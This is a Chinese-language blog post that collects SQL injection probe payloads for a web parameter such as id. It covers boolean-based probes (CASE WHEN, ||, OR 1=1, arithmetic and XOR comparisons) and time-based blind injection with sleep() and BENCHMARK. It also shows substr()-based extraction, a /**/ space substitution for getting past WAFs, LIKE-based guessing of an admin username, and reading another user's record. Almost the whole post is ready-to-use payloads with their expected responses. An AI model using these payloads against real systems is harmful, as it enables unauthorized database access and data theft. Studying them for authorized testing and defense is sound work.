SQL注入探測語句彙總

首先是我學習到的一些好用的探測語句:

假設場景是post參數裏傳遞了一個參數:&id=1&,這種情況就可以使用下面十分好用的探測語句:

方法一:CASE WHEN...THEN...ELSE...END的使用

嘗試語句格式:id=-1 ||(CASE WHEN 1 like 1 THEN 1 ELSE 1/0 END) &

  當json格式傳參時嘗試:{"name":"test","id":"-1'||(CASE WHEN 1 LIke 1 THEN 1 ELSE 1/0 END)||'","address":"北京"}//正常

select * from tb_user where id=-1||(CASE WHEN 1 like 1 THEN 1 ELSE 1/0 END);//正常
select * from tb_user where id=-1||(CASE WHEN 1 like 2 THEN 1 ELSE 1/0 END);//不正常

當-1 ||(CASE WHEN 1 like 1 THEN 1 ELSE 1/0 END) 被帶入查詢的時候,就如果該語句正常返回id爲1的信息,則說明存在注入。WHEN  Like 2 爲異常查詢,前面爲假,後面也爲假,故查不到信息。

 

然後進一步探測的話就是使用Like進行模糊匹配,比如'ad%'匹配登錄的用戶名是否是admin,是的話後面爲真,能正常響應結果。不是的話就查不到信息。

嘗試語句格式:&id=-1||(CASE WHEN loginName like 'ad%' THEN 1 ELSE 1/0 END)&
當json格式傳參時嘗試:{"name":"test","id":"-1'||(CASE WHEN 1 LIke 'ad%' THEN 1 ELSE 1/0 END)||'","address":"北京"}//正常
select * from tb_user where id=-1||(CASE WHEN loginName like 'ad%' THEN 1 ELSE 1/0 END);//正常
select * from tb_user where id=-1||(CASE WHEN loginName like 'd%' THEN 1 ELSE 1/0 END);//不正常

 

 

方法二:另一種除的回顯方式

嘗試語句格式:&id=-1||1/1&正常
select * from tb_user where id=-1||1/0;//不正常
select * from tb_user where id=-1||1/1;//正常

 

 

方法三:另一種=的回顯方式


嘗試語句格式:&id=-1||1=1&//正常
select * from tb_user where id=-1||1=1;//正常
select * from tb_user where id=-1||1=2;//不正常

 

 

方法四:另一種-號的回顯方式


嘗試語句格式:&id=-1||1=1&//正常
select * from tb_user where id=-1||1-2;//正常
select * from tb_user where id=-1||1-1;//不正常

 

方法五:另一種*號的回顯方式

嘗試語句格式:&id=-1||1*1&//正常
select * from tb_user where id=-1||1*1;//正常
select * from tb_user where id=-1||1*0;//不正常

 

方法六:另一種||的等價替換方式,如果空格被waf攔截就嘗試使用我文章中繞waf的其他方法進行空格的替換操作

嘗試語句格式:&id=-1 OR 1=1&//正常 
select * from tb_user where id=-1 OR 1=1;//正常 select * from tb_user where id=-1 OR 1=2;//不正常
select * from tb_user  where id=-1/**/OR/**/1=1;//正常

 

 

方法七:sleep()函數的使用,時間的盲注

嘗試的語句格式:&id=1 aND sleep(1);//正常回顯,時間較長
select * from tb_user where id=1 aND sleep(1);//正常回顯,時間較長 select * from tb_user where id=1 aND sleep(0.001);//正常回顯,時間較慢

 

 

 方法八:sleep()的等價函數使用,時間盲注

嘗試構造語句:&id=-1 || BENCHMARK(10000,md5('a'))&//響應時間正常
&id=-1 || BENCHMARK(10000000,md5('a'))&//響應時間明顯變長一些
select * from tb_user  where id=-1 || BENCHMARK(10000,md5('a'));//響應時間正常
select * from tb_user  where id=-1 || BENCHMARK(10000000,md5('a'));//響應時間明顯變長

 

 

 

方法九:利用比較屬性判斷注入

嘗試語句格式:&id=-1||'1a'=1&//回顯正常
&id=-1||'2a'=1&//回顯不正常
select * from tb_user  where id=-1||'1a'=1;
select * from tb_user  where id=-1||'2a'=1;

 

方法十:substr()函數的使用

substr()函數的使用,substr函數爲從第幾位開始截取,取幾位,以下payload的意思是從1開始取1位,後面爲真,所以回顯正常


以下的"可以改成任意格式的:比如之前sql注入天書裏的:' " ) ") ') } "} "") ] "]等
嘗試語句格式:&id="-1"||(substr((select 1),1,1)=1)&//回顯正常
select * from tb_user  where id="-1"||(substr((select 1),1,1)=1);
select * from tb_user  where id="-1"||(substr((select 1),1,1)=2);

 

同理,||符號可替換爲&符號進行使用,只要掌握了,&前真後面也爲真就正常返回,前假後面就不會再執行這個原理即可;然後||的話是前真後面就不會再執行,前假再執行後面的語句;


以下的"可以改成任意格式的:比如之前sql注入天書裏的:' " ) ") ') } "} "") ] "]等
嘗試語句格式:&id="-1"&(substr((select 1),1,1)=1)&//回顯正常
select * from tb_user  where id="-1"&(substr((select 1),1,1)=1);//回顯正常
select * from tb_user  where id="-1"&(substr((select 1),1,1)=2);//回顯不正常

 

以下的"可以改成任意格式的:比如之前sql注入天書裏的:' " ) ") ') } "} "") ] "]等
嘗試語句格式:&id="-1"&&(substr((select 1),1,1)=1)&//回顯正常
select * from tb_user  where id="-1"&&(substr((select 1),1,1)=1);//回顯正常
select * from tb_user  where id="-1"&&(substr((select 1),1,1)=2);//回顯不正常

 

然後連接符可以改爲:= >< <> 等格式:

select * from tb_user  where id=1=(substr((select 1),1,1)=1);
select * from tb_user  where id=1=(substr((select 1),1,1)=2);

 

(1)因爲查詢的結果=1:
嘗試語句格式:&id=1=(substr((select 1),1,1)=2)&//回顯正常
嘗試語句格式:&id=1<(substr((select 1),1,1)=2)&//回顯異常
嘗試語句格式:&id=1>(substr((select 1),1,1)=1)&//回顯正常
select * from tb_user  where id=1=(substr((select 1),1,1)=1);//回顯正常
select * from tb_user  where id=1>(substr((select 1),1,1)=1);//回顯異常
select * from tb_user  where id=1<(substr((select 1),1,1)=1);//回顯異常

(2)因爲查詢的結果肯定是大於2這個數的: 嘗試語句格式:&id=1>(substr((select 1),1,1)=2)&//回顯正常 嘗試語句格式:&id=1<(substr((select 1),1,1)=2)&//回顯異常 select * from tb_user where id=1>(substr((select 1),1,1)=2);//回顯正常 select * from tb_user where id=1<(substr((select 1),1,1)=2);//回顯異常 (3)因爲查詢的結果肯定是不等於1的,爲2的時候就回顯正常: 嘗試語句格式:&id=1<>(substr((select 1),1,1)=2)&//回顯正常 嘗試語句格式:&id=1<>(substr((select 1),1,1)=1)&//回顯異常 select * from tb_user where id=1<>(substr((select 1),1,1)=2);//回顯正常 select * from tb_user where id=1<>(substr((select 1),1,1)=1);//回顯異常 (4)因爲查詢的結果前面爲真,所以相當於結果是1,如果後面的結果爲0,那就會正常返回,不爲0的話相當於是1+1查不到2這個id,就會報錯,回顯不正常, 如果存在2這個id,就會正常回顯2的信息,這也算是一個越權查詢了 嘗試語句格式:&id=1+(substr((select 1),1,1)=2)&//回顯正常 嘗試語句格式:&id=1+(substr((select 1),1,1)=1)&//回顯異常,存在id=2時會回顯正常,並查詢出2的結果 select * from tb_user where id=1+(substr((select 1),1,1)=2);//回顯正常 select * from tb_user where id=1+(substr((select 1),1,1)=1);//回顯異常 (5)因爲查詢的結果前面爲真,所以相當於結果是1,如果後面的結果爲0,那就會正常返回,不爲0的話相當於是1-1查不到0這個id,就會報錯,回顯不正常, 同理還有-: 嘗試語句格式:&id=1-(substr((select 1),1,1)=2)&//回顯正常 嘗試語句格式:&id=1-(substr((select 1),1,1)=1)&//回顯異常,存在id爲0時將回顯正常 select * from tb_user where id=1-(substr((select 1),1,1)=2);//回顯正常 select * from tb_user where id=1-(substr((select 1),1,1)=1);//回顯異常 (6)類似的還有*的操作: 嘗試語句格式:&id=1*(substr((select 1),1,1)=1)&//回顯正常 嘗試語句格式:&id=1*(substr((select 1),1,1)=2)&//回顯異常,存在id爲0時將回顯正常 select * from tb_user where id=1*(substr((select 1),1,1)=1);//回顯正常 select * from tb_user where id=1*(substr((select 1),1,1)=2);//回顯異常 (7)類似的還有/的操作: 嘗試語句格式:&id=1/(substr((select 1),1,1)=1)&//回顯正常 嘗試語句格式:&id=1/(substr((select 1),1,1)=2)&//回顯異常,不能1/0 select * from tb_user where id=1/(substr((select 1),1,1)=1);//回顯正常 select * from tb_user where id=1/(substr((select 1),1,1)=2);//回顯異常
(8)類似的還有^的操作:(異或運算),1異或0就是1,1異或1是0: 嘗試語句格式:
&id=1^(substr((select 1),1,1)=2)&//回顯正常 嘗試語句格式:&id=1^(substr((select 1),1,1)=1)&//回顯異常 select * from tb_user where id=1^(substr((select 1),1,1)=2);//回顯正常 select * from tb_user where id=1^(substr((select 1),1,1)=1);//回顯異常

 

 

 

 

 

 

越權查詢id爲2的信息:

 

 

 

 

 

 

 

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章